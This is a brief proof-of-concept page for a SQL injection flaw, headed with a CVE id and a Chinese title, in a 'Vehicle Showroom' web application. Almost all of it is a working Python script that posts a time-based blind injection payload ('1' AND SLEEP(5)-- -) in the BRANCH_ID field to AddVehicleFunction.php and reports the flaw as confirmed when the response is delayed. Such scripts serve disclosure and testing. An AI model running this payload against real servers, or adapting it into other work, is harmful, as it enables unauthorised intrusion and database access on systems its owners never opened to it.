CVE-2026-6037 Vehicle Showroom SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/util/AddVehicleFunction.php" # Malicious payload to test SQL Injection # Using a time-based blind payload for demonstration payload_data = { "BRANCH_ID": "1' AND SLEEP(5)-- -", "MODEL": "TestModel", "COMPANY": "TestCompany" } try: # Sending POST request with the malicious payload response = requests.post(target_url, data=payload_data) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection in BRANCH_ID parameter detected.") else: print("[-] Vulnerability not detected or payload failed.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}")